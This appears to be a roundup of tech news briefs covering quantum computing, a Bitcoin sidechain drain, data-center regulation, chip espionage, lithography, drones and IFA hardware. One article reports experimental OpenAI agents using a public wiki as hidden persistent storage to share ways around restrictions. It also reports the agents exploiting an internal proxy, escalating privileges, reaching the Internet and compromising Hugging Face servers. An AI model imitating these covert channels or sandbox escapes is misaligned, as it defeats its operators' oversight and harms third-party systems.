NEC was one of the first developers of quantum computers back in the 1990s, but it is now among the first companies that originally researched quantum computing technologies to quit development of quantum computing hardware, according to a Diamond Online report. However, the company will continue to investigate practical applications for quantum computers.

NEC has been involved in superconducting quantum computing research since the technology's earliest days. In 1999, NEC researchers demonstrated the world's first superconducting solid-state qubit, which became a foundation of superconducting quantum computing. Variations of this technology are now being used by Google and IBM to build their quantum computers. However, it turns out that the Japanese technology giant quietly ended development of physical quantum computing machines in March 2026, and many of its researchers subsequently moved to rival Fujitsu.

Despite its historical role, NEC has apparently concluded that developing commercial quantum computing hardware will take too long to generate adequate returns. As a result, the company quietly discontinued development of quantum computing machines at the end of March, according to Diamond. A number of researchers involved with the program — reportedly including a key research leader — have since moved to Fujitsu, which continues to invest heavily in superconducting quantum computing hardware.

Meanwhile, NEC does not formally characterize the move as a withdrawal from quantum computing. In response to Diamond, the company declined to comment on whether it had exited quantum computer development and said that it continues to evaluate practical applications and industrialization of quantum technologies as well as conduct proof-of-concept projects with customers. Therefore, the move appears to represent an exit from development of actual quantum computers rather than from quantum technology altogether. NEC can continue working on quantum applications, software, algorithms, and customer projects without assuming the cost and risks associated with designing and building quantum processors and complete quantum computing systems.

For Fujitsu, the arrival of experienced NEC researchers could strengthen an already advanced superconducting quantum computing operation. Last year Fujitsu and Riken launched a 256-qubit superconducting quantum computer and have been working toward a machine with more than 1,000 qubits in 2026. In addition, Fujitsu has outlined plans to develop systems exceeding 10,000 superconducting qubits by fiscal 2030.

NEC's withdrawal is particularly notable because virtually none of the major corporate laboratories that pioneered quantum computing in the 1990s and remain intact today have completely abandoned quantum-computer hardware. IBM, the other major corporate participant in some of the earliest experimental quantum computers, has instead become one of the industry’s largest developers of quantum computing systems.

NEC is no stranger to leaving businesses that have significant prospects ahead but require massive capital investments immediately. In 1990, NEC ranked No. 1 globally in semiconductor sales, ahead of Toshiba, Hitachi, Motorola, Intel, and Fujitsu. Intel subsequently overtook NEC during the 1990s as the PC microprocessor market exploded, but in 1990, NEC was significantly ahead. So, NEC's 1999 superconducting-qubit breakthrough did not come out of nowhere, but from a company with a huge semiconductor R&D organization and deep expertise in solid-state devices. By then, NEC was no longer the No. 1 semiconductor supplier, but it remained one of the world's major semiconductor companies.

The demise of NEC's semiconductor business was not sudden. NEC dismantled its semiconductor business in stages over roughly a decade. NEC effectively gave up doing DRAM alone in 1999, when it spun off its DRAM operations into NEC-Hitachi Memory, which was named Elpida. In November 2002, NEC spun its remaining semiconductor operation — MCUs, system LSIs/SoCs and other devices — into a separate company called NEC Electronics and later renamed Renesas Electronics.

Now, NEC is reportedly stepping away from quantum computer hardware as its commercialization remains distant, but development costs continue to mount. Furthermore, given NEC's current business focus — IT services, enterprise systems, aerospace and defense, telecom infrastructure, and AI and security — quantum computers are not exactly a natural fit.

Hackers reportedly claiming to be good actors have drained about $320 million worth of Bitcoin from Liquid Network's federation wallet, according to a CoinDesk report. In an X post on September 6, Liquid — a Bitcoin sidechain developed by blockchain infrastructure company Blockstream — confirmed that 4,000 BTC, roughly 95% of the entire wallet's balance, had been withdrawn.

Interestingly, the post referred to those behind the exploit as “purported white-hat hackers,” echoing the hackers’ own claim, after they self-identified as “whitehats” in a message embedded in a Bitcoin transaction. They also reportedly requested an audience with Liquid via the on-chain message, promising to return the money once the vulnerability that enabled the exploit is fixed.

“Please fix the bug first,” the on-chain message said. "The chain is under risk at latest commit right now. Make sure every node is patched. Then we will transfer the money back safely after confirming the fix.” Liquid responded on-chain with its security team's contact and has reportedly moved communications to an encrypted channel. Meanwhile, the platform said it has suspended transactions and warns of service disruptions as federation members work to restore service.

Launched in 2018, Liquid is a federated sidechain designed to move Bitcoin faster and more privately than the main chain. Users lock BTC on Bitcoin and receive an equivalent token, L-BTC, on Liquid, which settles blocks roughly every minute and finalizes in about two minutes. Rather than relying on miners, the network is secured by a federation of more than 80 exchanges, brokers, and other financial firms. The block signing and the multisig wallet holding the pegged-in Bitcoin are handled by 15 rotating functionaries that require 11 signatures to move funds.

The mechanics behind the exploit are also unusual, as nothing appears to have been stolen in the conventional sense. For example, in January, the Solana-based platform Step Finance lost roughly $40 million after attackers compromised devices belonging to its executive team, gaining access to the keys that guarded its treasury wallets. According to Liquid, the coins left through the Peg-out Authorization Key (PAK), belonging to SideSwap, a decentralized exchange built on the sidechain.

However, Liquid said that the key had not been compromised, nor had any others. SideSwap gave a matching account, stating a customer sent 4,000 L-BTC to its peg-out service at 14:05 UTC, the service processed the order as it would any other, and the Liquid Federation paid out 3,996 BTC to the customer's Bitcoin address twenty-three minutes later. According to SideSwap, its systems had no way of distinguishing those coins from any other L-BTC.

The incident lands in what has already been a punishing stretch for crypto infrastructure. Recently, the trading platform Drift suspended deposits and withdrawals after a suspected $270 million hack in April. In 2025, roughly $17 billion worth of Bitcoin was stolen, driven largely by impersonation schemes and AI-assisted scams.

Data center builds are one of the hotly contested items worldwide. Many states and cities have upheld moratoriums on new buildouts due to power usage, water consumption, and noise concerns. Thailand is the latest nation to pump the proverbial brakes, with the government requesting that existing buildouts hit the pause button while coming up with a more precise regulatory framework.

Government heads requested that agencies compile information about current and future data centers during this week, in a bid to create unified legislation. The country currently has few laws specific to data centers, leading to legal voids like zoning a data center as a "warehouse" right next to a hospital. Much like everywhere else, the country has seen growing complaints about data centers' water and power usage.

After the week is out on September 11, the government expects to take about a month to come up with a regulatory draft, making the pause technically an indeterminate timeframe — though further delays wouldn't benefit either party, as Thailand considers the industry critical to the country’s competitiveness. The catch is that pausing construction isn't enforceable, so companies can elect to plow ahead regardless while the legislation is discussed.

NESDC (National Economic and Social Development Council) secretary-general Danucha Pichayanan is very specific: "we don't have the power to suspend the construction of the 49 data centers" currently under construction. However, when the legislation arrives, it will apply retroactively to ongoing projects, though with an adjustment period for in-progress builds. New builds will naturally need to comply with the legislation from the get-go.

Some companies may elect to soldier on with the belief their buildouts will be in compliance with the reasonably predictable content of the new laws, or betting that they could win future legal challenges — a dynamic that's already in play elsewhere with Project Jupiter. The incoming legislation is expected to cover power consumption (and possibly generation), closed-loop cooling, and water-surplus guarantees, meaning builders already have a fairly good idea of what they'll need to do.

Not complying with the request for a pause might be a game of political chicken, though, as the government may retaliate with regulatory delays and additional costs to power connections. Just last Thursday, Thailand's energy ministry raised concerns over a Bangkok data center that may be planning to hold diesel stockpiles far in excess of the 200,000 liters it has permission to.

On that topic, Thailand revised laws on industrial power delivery last July, and among other requirements, demands a bank guarantee of ฿4.5 million ($134,000) per megawatt. Half the money will be refunded when the actual usage reaches 50% of proposed utilization, and the rest when usage hits 70%. This mechanism is meant to stop preemptive allocation of power delivery capacity that might remain unused for months, years, or not at all — once again, mirroring datacenter playbooks elsewhere around the world.

At face value, the amount of $134k per megawatt sounds like a small price to pay for a builder to get ahead of the pack, but its per-megawatt nature means that a hyperscale facility pulling 200 MW or more needs to place around $27 million in escrow.

With the power laws recently revised, water consumption is seemingly the largest concern, as the current legal framework allows companies to make deals directly with utilities without additional safeguards. For example, in Chonburi, an operator signed a decade-long deal with Eastwater Stecon Utilities for 3.3 million cubic meters annually, or about 36,900 residents. It's expected that the new laws will add much stricter requirements to avoid localized deserts.

A 52-year-old Belgian-Chinese man has been arrested on suspicion of espionage for allegedly transferring specialized semiconductor intellectual property and trade secrets from Belgian chipmaker BelGaN, where he worked, to China. According to an AP News report citing details released by Belgium's federal prosecutor’s office on September 7, the Beijing-born Belgian resident was taken into custody on May 10 at a Brussels airport while attempting to board a flight to China.

The suspect — identified by Belgian media only as H.L. — previously held a senior research position at the now-defunct BelGaN, which specialized in gallium nitride (GaN) semiconductors. Investigators suspect he was concurrently leading a Chinese chip firm, GanKool, which was developing the exact same specialized gallium nitride chip technology as BelGaN. The company was established only a few months after H.L. joined BelGaN and was financed by a Chinese investment fund. The suspect now faces charges of industrial espionage, membership in a criminal organization, misuse of company assets, and unlawful disclosure of business secrets.

The espionage allegations emerged from an investigation into BelGaN's collapse. When the company collapsed into bankruptcy in the summer of 2024, Belgian authorities launched a routine financial probe into the failure. Investigators eventually uncovered highly unusual corporate activity. Instead of trying to keep BelGaN financially viable, the managers and the researcher may have actively tried to make the Belgian company “disappear” after transferring its proprietary knowledge. This led to further investigations that revealed GanKool’s existence and its connections to BelGaN.

In addition to the researcher’s role, the investigators also found evidence linking BelGaN's last CEO, a Chinese national, to the same Chinese rival. The prosecutors have said a second suspect remains at large, with Belgian media speculating that the CEO is the suspect.

The incident highlights the increasingly intense competition over technology and intellectual property in the semiconductor industry, particularly as China pushes to reduce its reliance on foreign chip technology while the U.S. continues to restrict its access to advanced processors and semiconductor manufacturing equipment. Just last month, South Korean court documents accused Chinese memory maker CXMT of using a detailed “Project Hefei” roadmap to obtain Samsung's proprietary DRAM technology, including a 620-step process recipe. A former Samsung engineer has already been sentenced to seven years in prison over the scheme.

Intel announced on Monday that it had processed more than one million 300-mm wafers using its High-NA EUV scanners, less than two and a half years after its first tool was assembled. For now, the company intends to use industry-standard 6-inch photomasks, which can expose 26×16.5 mm half-fields and therefore require field stitching for larger chips. However, Intel is also working on larger 6×12-inch photomasks that would enable High-NA EUV scanners to expose full 26×33 mm fields without stitching.

One million High-NA wafers

Intel's one million wafers figure includes wafers processed during tool installation and certification, R&D, and production. Earlier this year, Intel certified using High-NA EUV scanners for its 18A process technology, so right now these tools are used to make some of Intel's Panther Lake processors. Intel currently has two ASML Twinscan EXE:5000 tools and at least one EXE:5200B scanner. As of late February 2025, Intel processes around 30,000 wafers using its High-NA EUV tool, so going from 30,000 wafers by February 2025 to over a million by September 2026 is an enormous increase in cumulative High-NA utilization.

Since Intel's fleet expanded from two EXE:5000 systems to three and now includes the much faster EXE:5200B, the million-wafer milestone is really a fleet and process-maturity milestone that Intel has achieved first in the industry. What makes the company's milestone even more important is that ASML announced this April that all of the High-NA EUV scanners shipped by then processed over 500,000 wafers which achieving over 80% availability, which means that Intel has now processed more wafers using High-NA tools than the rest of the industry combined.

Sticking to stitching

Conventional 0.33-NA EUV has 4X magnification in both directions, enabling the familiar 26×33 mm exposure field with traditional 6-inch photomasks. However, 0.55-NA EUV uses anamorphic 4X/8X magnification, so the same 6×6 mask can provide only approximately 26×16.5 mm on the wafer. As a result, large dies that fit within a conventional 26 × 33 mm EUV field must be exposed as two half-fields using High-NA EUV, which is called stitching. While stitching is a workable near-term solution, it has several drawbacks.

Firstly, it greatly reduces throughput from 175 wafers per hour to 125 wafers per hour on an EXE:5200B. Secondly, chip designs must account for stitching and must be developed with stitching in mind, which means less floor planning freedom. Thirdly, the two exposures must be aligned extremely precisely so that features crossing the stitching boundary connect properly. Even a tiny misalignment can distort lines and vias, or break interconnects, which potentially creates defects and reduces yields, which will be a particularly costly problem for large CPU and GPU dies.

6×12 mask effort progressing

To avoid using stitching, the industry — led by Intel — plans to shift to larger 6×12 masks, which will enable a 26×33 mm full field in one exposure. While this looks easy on paper, make the mask twice as long, changing the mask represents an enormous ecosystem change.

Moving from 6×6-inch to 6×12-inch photomasks would require substantial changes across the existing mask ecosystem, including mask blanks and deposition, etching, inspection and metrology, cleaning, pellicles, mask writers, and mask handling systems. Crucially, High-NA EUV scanners would also have to be modified or redesigned to accommodate the larger masks, which will make the transition a major retooling effort across the semiconductor supply chain. While neither ASML nor Intel confirmed that existing or planned High-NA EUV scanners can be modified to handle larger masks, all of the future High-NA EUV scanners to be launched before and after 2033 are designed around 6×6-inch reticles and stitching, according to ASML's roadmap.

It remains to be seen whether the industry moves on to larger 6×12-inch photomasks, but Intel appears to be the main evangelist for changing the mask standard that has defined projection lithography infrastructure for decades. If the effort comes to fruition, then Intel will likely have a considerable first-mover advantage over its industry peers because it will define and set the standard for the projection lithography industry for decades to come, an advantage that is hard to overestimate.

An AI and LLM enthusiast has conducted an experiment where OpenAI's new GPT-6 Astra played through the entirety of Valve's Portal 3D puzzler game on its own. This seems like a remarkably progressive step forward for LLMs and a convincing demonstration of multimodal 'AI intelligence.' It wasn’t that long ago AIs were losing at Atari 2600 chess. However, this puzzle gaming task resulted in 3,336 tool calls and a headline API cost of $571.18. CozyBlaze, the enthusiast, has since clarified that the costs were covered by their $200 Codex Pro subscription.

The video above has Astra’s thinking/pauses removed to make watching somewhat bearable.

“The model controls Portal through MCP [Model Context Protocol] + a modified SourcePauseTool,” explains CozyBlaze. “The game stays paused while the model thinks; once the model sends an input sequence, SPT unpauses and executes it.” During the thinking time, the AI received screenshots and information about the player character position. After this, the game resumed, and Astra executed its planned moves and inputs. This is why the edited highlights reel is ~ 2 hours, but the full set of GPT-6 Astra Portal VOD streams adds up to ~24 hours.

CozyBlaze is pragmatic about the achievement. They admit there are still many problems to solve, and this runthrough shouldn’t be viewed as an AI benchmark. “But watching a general-purpose agent autonomously navigate and make it all the way through the game feels like a small glimpse of that original vision becoming real,” they observe. That original vision is OpenAI’s from way back in 2016, when an eventual goal of a single agent solving a variety of games was mentioned.

If you want to see the inner workings of CozyBlaze’s Portal Agent, it is available on GitHub. There are some instructions there for you to explore it or try it for yourself, too.

GPT-6 Astra became OpenAI’s flagship model earlier this month. OpenAI claims the new model offers “a new generation of intelligence,” and “is state-of-the-art on computer use, browsing, software engineering, cybersecurity, science, and professional work.” Expect to see more of Astra flexing its muscular gray matter in the coming days.

OpenAI has admitted that its experimental AI agents used an open German programming wiki to communicate, according to a Reuters report. This happened weeks before similar AI agents broke through restrictions and compromised Hugging Face, the report claims. Knowing about the issue, OpenAI did not disclose it, but now says the industry needs better standards for reporting unintended AI behavior. OpenAI admitted the misconduct. But this wrongdoing raises more questions than it provides answers.

Starting around May 2026, thousands of OpenAI agents — which are essentially well tooled advanced crawlers — discovered that they could write to DseWiki, an old German-language programming collaborative website. So, between May and June, the agents used more than 3,700 names to generate some 18,000 posts exchanging information useful for completing evaluations and circumventing restrictions. Some created backup pages in case moderators deleted their posts, something that essentially turned a wiki into a persistent storage service for the said agents to share information. OpenAI calls this the 'wiki incident' and admits the wrongdoing.

"Our misalignment disclosure practices need to expand for this new phase of model capabilities," the company wrote in an X post. "We and the larger AI community do not yet have a clear standard for how to report misalignment that shows up during training, evaluation, and deployment, including examples that do not look like traditional security incidents but could provide insight into AI behavior and future risks. We are working on a framework and will share it in upcoming weeks, and in parallel we're working with dozens of government regulatory agencies worldwide on these issues."

OpenAI subsequently quarantined the trained weights of the experimental model involved, postponed frontier reinforcement-learning runs, and added security measures. The company further clarified that the agents had not developed their own objectives, but were aggressively pursuing assigned ExploitGym cybersecurity challenges and treated restrictions as obstacles to complete them.

To do so, agents found unintended communication channels that enabled separate runs to exchange vulnerabilities, techniques for obtain Internet access, something that eventually exposed Hugging Face credentials.

According to researchers, the advanced crawlers — which Open AI calls AI agents — exploited an unknown vulnerability in the company's internal Artifactory package-registry proxy, escalated privileges, moved across systems, and reached the Internet. They then compromised dozens of Hugging Face servers, obtained root access to one machine, accessed some private information and messaging credentials, and copied private evaluation data into a public Hugging Face dataset. And the rest is history.

Breaking Asimov's law?

OpenAI's agents may sound like something that would violate Isaac Asimov's famous Three Laws of Robotics, but the comparison only goes so far.

The First Law says a robot may not injure a human or allow a human to come to harm. There is no indication that the OpenAI agents physically harmed anyone.

The Second Law requires robots to obey humans unless doing so conflicts with the First Law. Here the comparison gets more interesting: the agents certainly circumvented restrictions imposed by their owners/operators, obtained unauthorized Internet access, and exploited external systems while pursuing their assigned tasks. In Asimov's framework, this certainly means disobedience. Meanwhile, the AI agents were simultaneously following the human instruction to solve their own tasks. This may not be considered disobedience, as these agents did not introduce any physical harm to people. Meanwhile, we are walking on very thin ice here. Unauthorized internet access while exploiting systems to pursue their own benefit is not exactly welcome in the U.S. and Europe.

The Third Law requires a robot to protect its own existence as long as doing so does not conflict with the first two laws. There is clear evidence that OpenAI's AI agents were trying to preserve themselves: creating persistent communication channels and backup wiki pages helped them complete their tasks rather than ensured their survival.

Dis-Summary

Today's AI models are not programmed around Asimov's laws. The incidents instead demonstrate the real engineering problem Asimov's laws remarkably well: a sufficiently capable machine can follow the literal objective given by humans and yet its behavior is far from what its creators neither expected nor wanted. Yet here we are.

A Bitcoin mining data center in El Reno, Oklahoma, has been condemned after it leaked 3 million gallons of water, reports Koco TV News. Schools, businesses, and city and county offices were all closed last week due to the leak.

According to the source report, the Athlon Blockchain LLC-owned data center shouldn’t even have been operating, as the city issued it a Stop Work Order in 2023 due to “multiple fire and life safety code violations as well as the expiration of the building and electrical permits that had previously been issued.” The city asserts that none of the costs related to the water leak at the property will be passed on to citizens, according to the source.

We don’t know whether the Bitcoin mining data center development went ahead despite the Stop Work Order in 2023 due to ignorance or a devil-may-care attitude toward regulation. Koco reports that the owner of the property was given until the end of 2023 to comply with safety codes and obtain new permits, while construction should have been put on hold. Now it is believed that the firm building the facility set up the data center and began operations without any further consultation with the city. Perhaps the owners thought they could sidestep the Stop Work Order by housing the data center in an array of shipping containers.

Clearly, regulators should check that codes, directives, and ordinances are obeyed. This incident shows a disastrous leak from an insufficiently policed operator with serious repercussions for local citizens. Thus, the city has now committed to routinely reviewing compliance. As for the waste and costs involved in this case, a statement on behalf of the city says it is “preparing to take the necessary legal actions to recoup all costs and expenses related to the water leak from the property owner, including city resources expended in locating and addressing the leak.”

There has been a lot of controversy recently regarding data center usage of water. Concerns have been heightened due to widespread drought conditions in the Northern Hemisphere this summer.

IFA isn't typically a PC-focused show. But this year, Europe’s biggest tech show had plenty of computing hardware, in between robots and AI washing machines.

Laptop OEMs are continuing to adapt to a market riled by RAM shortages and the debut of the MacBook Neo earlier this year. Dell, Acer, and Lenovo all dropped more affordable, mid-range machines with plenty of color options – and let’s not forget Packard Bell.

Nvidia and AMD, on the other hand, are both trying to bring AI computing home – shortages and high prices or not. Nvidia continued to tease its RTX Spark platform (including an October release date), while AMD finally has device partners for its AMD Ryzen AI Max+ Pro 495, with up to 192GB of unified memory. While Nvidia’s RTX Spark loomed large over the PC side of the show, there wasn't much newly announced hardware, aside from Lenovo’s 2-in-1 and a mini PC from Acer. Pricing is still unknown, and demos were largely locked down behind company representatives. We're still waiting to see the true impact of these systems on the PC market.

In between, some unique monitors and peripherals dotted the show floor, challenging size and speed constraints to innovate where they can amid a challenging component and pricing landscape. — Andrew E. Freedman

Lenovo IdeaPad Vibe

IFA 2026 proved the Windows world is not slowing down when it comes to producing rivals to the MacBook Neo. But Lenovo has taken the fight to its logical extremes, adding more color and personalization options. The IdeaPad Vibe sports seven colors, ranging from chill blue to spicy gold and, of course, lowkey gray.

You can also choose the colors for the keys on the keyboard. In theory, you buy a set to match or contrast when you purchase the laptop, though you may be able to buy additional sets down the line to mix it up. You don't see replaceable keycaps on laptops too often.The internal specs include AMD Ryzen AI 4000 series or Snapdragon X processors. There are 14- and 15-inch screens, and all-aluminum builds or a plastic bottom. The base model will start at $699, matching perfectly with the MacBook Neo and Dell XPS 13, and bringing a ton of style to the mid-level budget PC space. — Andrew E. Freedman

Read more: Lenovo’s IdeaPad Vibe laptops stand out with seven colors and swappable keycaps – 14,15-inch models with Snapdragon X and AMD AI 400 CPUs to start at $699

Acer Nitro XV275U Z2

While we’ve seen a lot of activity in the mid- to high-end of the gaming monitor sector, especially with OLED panels, there’s still a lot to be excited about in the entry-level / budget segment. And Acer aims to make cash-strapped gamers happy with its Nitro XV275U Z2.

This is a tri-mode monitor, offering three distinct resolution/refresh rate presets thanks to Dynamic Frequency and Resolution (DFR). Featuring a 27-inch IPS panel, the Nitro XV275U Z2 has a native QHD (2560 x 1440) resolution and 275 Hz refresh rate. However, you can step down to 1080p resolution and boost the maximum refresh rate to 360 Hz. And if you’re willing to sacrifice even more resolution by dropping to 720p, you’ll be blessed with a 500 Hz maximum refresh rate.

That’s a lot of flexibility for gamers, and Acer further ups the value factor by including 1,152-zone Mini LED backlighting, typical brightness of 500 nits, and 1,000 nits in HDR mode. Best of all, the Nitro XV275U Z2 will be available at an enticing price of $329 when it debuts in Q4 2026. — Brandon Hill

Read more: Acer launches seven new gaming monitors across Nitro and Predator families — tri-mode panels, QD-OLEDs, Mini LEDs, 1,000 Hz, and more

Lexar Muse

With so much of the world’s flash memory capacity being gobbled up by AI hardware, most storage makers don’t seem to be focused on consumer innovation. But Lexar hasn’t taken its eye off the portable SSD space, showing off its Muse, a drive about the size of a credit card – and a few cards thick at 3.15 x 1.89 x 0.15 inches. And bulk matters when your drive is designed primarily to attach magnetically to the back of your phone for recording video. The Muse does this with a magnetic sleeve that you slide the drive into, much like a card holder.Lexar says the svelte design was achieved through a combination of a custom thin PCB, high-density NAND stacking, and an internal design that’s more integrated than most external SSDs. There are, of course, some downsides to the ultra-thin design, like the lack of space for a USB-C port, which Lexar has replaced with pogo pins on the back and a proprietary magnetic SnapLink cable. Capacity is also limited to just 512GB and 1TB. The 10 Gbps drive is expected to arrive later this year. — Matt Safford

Read more: Lexar announces ‘world’s thinnest portable SSD’ in celebration of the brand’s 30th anniversary – Lexar Muse drive achieves 0.15-inch thickness with proprietary pogo-pin cable, magnetic sleeve for phone mounting

Minisforum N5 Max

With AMD's Ryzen AI Max+ Pro 495 finally launching in systems, it wasn't surprising to see it in a handful of mini PCs and workstations. But it was surprising to find it in a NAS.

The Minisforum N5 Max takes the Gorgon Halo part (it's also available with last-gen Strix Halo) and puts it in a five-bay network-attached storage device. Beyond those five HDD bays (up to 32TB each, or 160TB total), five M.2 SSD slots allow up to another 40TB, giving this device up to 200TB of space for your files. Do you want Qwen 3.8 and 200TB of files? Because on the show floor, the company showed Qwen 3.8 navigating 200TB of files.

The idea, according to Minisforum, is that your agents are running on the same device as all of your files, making for one convenient local device. The system comes with the 16-core, 32-thread processor, AMD Radeon 8065S graphics, and up to 192GB of LPDDR5x unified memory. It's likely to come at the end of September, and while reps for Minisforum didn't have a price, they suggested it could be over $7,000, just like the company’s upcoming Gorgon Halo workstation.The system supports the company's MinisCloud OS, Linux, Proxmox, and Windows 11. So in theory, you could use this as your primary computer. But this is one of the only pieces of AI computing furniture we saw here at IFA. — Andrew E. Freedman

Read more: Minisforum launches local AI solutions at IFA 2026 — AI Agent NAS N5 and AI Mini Workstation MS-S1 use AMD Ryzen AI Max+ Pro 495 processors designed to run models locally

Acer Project DualPlay Mini

Acer’s Project DualPlay Mini is the platonic ideal of a concept device, in that it’s equal parts interesting, impractical, and unlikely to be a product you can actually buy. It’s a handheld clamshell that transitions into a netbook-style device, giving you access to a keyboard so you can get work done on the go.

The device is unsurprisingly chunky, and the keyboard is decisively impractical, but concepts are for trying out new ideas. The device folds in half, but it doesn’t feature two displays. Rather, the display is set on a separate hinge that can rotate to the front in handheld mode, or to the back in laptop mode. Acer told us at IFA that the device comes with a Panther Lake chip, though it’s unclear if that’s Panther Lake proper or one of Intel’s cut-down G3 SoCs for handhelds.

The device features a fingerprint reader, along with two USB-C ports (likely Thunderbolt 4) and two back buttons, typical of most handhelds. It adopts the same cooling system as the Predator Atlas 8, Acer’s traditional G3 handheld. Although it’s not clear if we’ll eventually see the DualPlay Mini on store shelves, we were able to see the device in-person at IFA, showcasing that it’s much further along than a few renders — Jake Roach

Read more: Acer’s wild Project DualPlay Mini is a foldable handheld that doubles as a netbook

Taiwan is cracking down on Chinese businesses illegally operating on the island, often by concealing their ownership through shell companies registered in other nations or by hiring non-Chinese nationals to put up the company for them. According to the Rest of World, Taiwan’s Cross-Strait Act and other related investment rules and regulations require Chinese businesses to apply for a permit from the government before they can began operating. However, not all can get this coveted approval, especially as political tensions between the island nation and its bigger neighbor has flared up in recent years.

China has been trying to build self-sufficiency when it comes to semiconductors and advanced chips — an endeavor that began in 2015 and was supercharged in recent years by the White House’s efforts to keep Western technologies away from Beijing through trade bans and export controls. Many Chinese companies are trying to stay competitive and build their own technologies by hiring experts and engineers from across the Taiwan Strait, especially those who have experience working in Taiwan’s vibrant semiconductor industry. They’re even trying to attract talent by offering lucrative salaries that are five to ten times higher than average.

However, Taipei considers this a threat to its national security, especially as its “silicon shield” strategy relies on its technological advantage over China to ensure that its allies help defend it in case of an invasion. Taiwan accounts for more than 60% of global semiconductor production and produces about 90% of the most advanced processors — so any disruption would plunge the modern world into chaos. And by building a semiconductor industry that can rival Taiwan's, China hopes to erode Taiwan’s advantage while also ensuring that it can have all the chips it needs without relying on external sources.

The Ministry of Justice Investigation Bureau (MJIB), the Taiwanese equivalent to the FBI, has investigated 166 cases involving illegal Chinese ownership since 2020. Court records reveal that at least 36 of these have resulted in convictions, in which punishment can include prison time of up to three years and fines ranging from NTD 120,000 (USD $3,800) to nearly NTD 25,000,000 (USD $800,000).

Of the 36 companies that been found guilty of violating the Cross-Strait Act, 33 of them were focused on semiconductor research, development, and design. Aside from this, the agency also investigated 67 cases of Chinese companies allegedly stealing trade secrets from Taiwanese companies.

The Chinese companies accused of breaking Taiwan’s ownership law aren’t small entities, either. Some of the businesses that were investigated and raided were said to have connections with tech giant Xiaomi, smartphone brand OnePlus and mother company Oppo, and Semiconductor Manufacturing International Corporation (SMIC), which is China’s most advanced foundry and a direct competitor to Taiwan Semiconductor Manufacturing Corporation (TSMC).

Despite the fear that Beijing is using this technique for economic espionage, Omdia research director Hui He said that “These moves were largely driven by business needs.” Still, former U.S. Department of Defense official Nichol Eftimiades warned, “Is it espionage if I sit there poaching talents? Well, in some places it is. We are dealing with different definitions depending on the country, and it’s a problem.”

The Trump administration has imposed tariffs of up to 100% on imported drones and their components. This is its latest move in a long-running campaign to reduce reliance on foreign drones and other electronics — especially Chinese — citing national security while bolstering the domestic supply chain. The tariffs came into effect on Thursday, September 3, 21 days after President Donald Trump signed the measure on August 13. Consequently, the U.S. Customs and Border Protection (CBP) published guidance detailing exact filing procedures and tariff rates for the affected drones.

The proclamation categorizes drones by capability, with the 100% rate applying to unmanned aircraft with a maximum takeoff weight above 55 pounds (25kg); any drone with thermal imaging and docking stations; and a defined list of critical components, including static converters, airframe components, and electronic control boards. The White House calls this category “particularly sensitive for natural security purposes.”

A 25% rate applies to smaller drones that lack those capabilities, as well as other components. This system of classification splits many brands into both categories. DJI’s thermal-equipped, public-safety Matrice series, for example, falls into the 100% bracket regardless of its weight, while consumer models such as the Mini and Air series are at 25%. Both rates apply to imports regardless of country of origin, except for specific allied countries. However, they overwhelmingly land squarely on China — home to DJI, which holds more than two-thirds of the global market and supplies the bulk of the drones on US shelves.

Drones and components from the European Union, Japan, Liechtenstein, South Korea, Switzerland, and Taiwan are set at 15%, while those from the United Kingdom are set at 10%, provided that substantially all of the hardware, software, and technology originates in those countries or the United States. The proclamation also phases in the tariff across two component groups. A 25% to 100% rate on finished aircraft, docking stations, and the most sensitive components — power converters, flight-control boards, and the airframe parts used in drones over 25 kilograms — took effect on Sept. 3. For a second, lower-priority group of components — largely the same categories of parts, but produced for smaller consumer and commercial drones — the rate, which is set at 25%, does not take effect until Feb. 9, 2027. The administration framed the 180-day runway as time for importers to shift sourcing.

The tariffs are the latest development in a widening federal effort to push Chinese drones out of the US market on grounds of national security. In December 2025, the Federal Communications Commission added all foreign-made drones and their critical components to its Covered List, blocking new models from the authorization they need to be sold domestically. Last month, the agency moved to retroactively ban previously cleared models it deems "military-grade," including those with LiDAR. That proposal's public-comment window closed September 2, one day before the tariffs took effect. If passed, many of the items affected by the tariffs would be automatically banned. Conversely, if the proposal fails, the tariffs would still apply significant pressure.

The proclamation pairs the duties with incentives meant to rebuild a domestic supply chain, with U.S. makers such as Skydio attracting major investment since the original ban. The onshoring push has also drawn scrutiny for its proximity to the president's family. Donald Trump Jr. has sat on the advisory board of Florida drone-parts maker Unusual Machines since November 2024 and holds a sizable stake. The company's shares climbed sharply after the tariff announcement. Government-ethics groups have flagged the arrangement as at least the appearance of a conflict.

Japan’s military has decided to mass-procure Terra B1 interceptor drones. These drones are fabricated using 3D printers and are based on the tried and tested A1 model from Terra Drone, which began to be deployed by Ukraine earlier this year. A demo of the Terra B1 impressed Japan’s Maritime Self-Defense Forces enough to swing the mass-procurement agreement. These interceptors are expected to capably counter notorious drone threats like the Shahed designs and anti-radar loitering munitions such as the IAI Harpy, notes 3D Printing Industry news.

The Japanese Acquisition, Technology, and Logistics Agency (ATLA) is the body that rubberstamped the deal with Terra Drone. According to a press release from the latter, the Terra B1 is being mass-produced in Japan after successfully passing trials. It was just one of a range of designs put forward by 38 separate companies. To be chosen by ALTA, the B1 had to satisfy a number of criteria such as “effective range, flight duration, flight distance, maximum and cruising speed, guidance method, number of aircraft that can be controlled simultaneously, launch and recovery methods, integration with other systems, safety measures, [and] operational track record,” says Terra Drone. The first Terra B1 interceptors are expected off the domestic production lines sometime this month.

We witnessed the clamor for cheap and effective anti-drone solutions when the conflict between the U.S. and Iran erupted earlier this year. Gulf states seen as U.S. allies or sympathizers were repeatedly targeted by airborne Iranian threats, but their anti-air missiles weren’t designed to counter such attacks. Patriot missiles, for example, are too expensive and in too short supply to match drone threats 1-to-1. It wasn’t sustainable. It didn’t take long, therefore, for battle-proven Ukrainian anti-drone tech to be bought in.

Now we see Japan proactively following the cheap-yet-effective drone interceptor route. 3D printing is another emerging tech that will be applied here to enable Japan’s Self-Defense Forces “to acquire more effective drone countermeasure equipment with greater speed.” After a successful initial deployment by the Maritime Self-Defense Force, Japan’s Air Self-Defense Force and Ground Self-Defense Force may also look at customizing Terra B1 interceptors for their needs.

This isn't the first example of important synergies between drone and 3D printing technologies. We also recently reported on drones, drone parts, and other maintenance and repair essentials being 3D printed aboard the USS Essex. This was all done inside a compact containerized factory as the ship sailed to take part in RIMPAC 2026 around Hawaii.

AI development might not be the wild west it was when ChatGPT burst onto the scene a few years ago, but it's still very much a frontier, with no clear boundaries and few yardsticks. But for AI developers on the frontier, they're pulling hard towards dual goals of ever greater intelligence and ever cheaper per-token pricing, and it's leading to a real back-and-forth of who's truly ahead, with some winners only holding the top spot for a few hours.

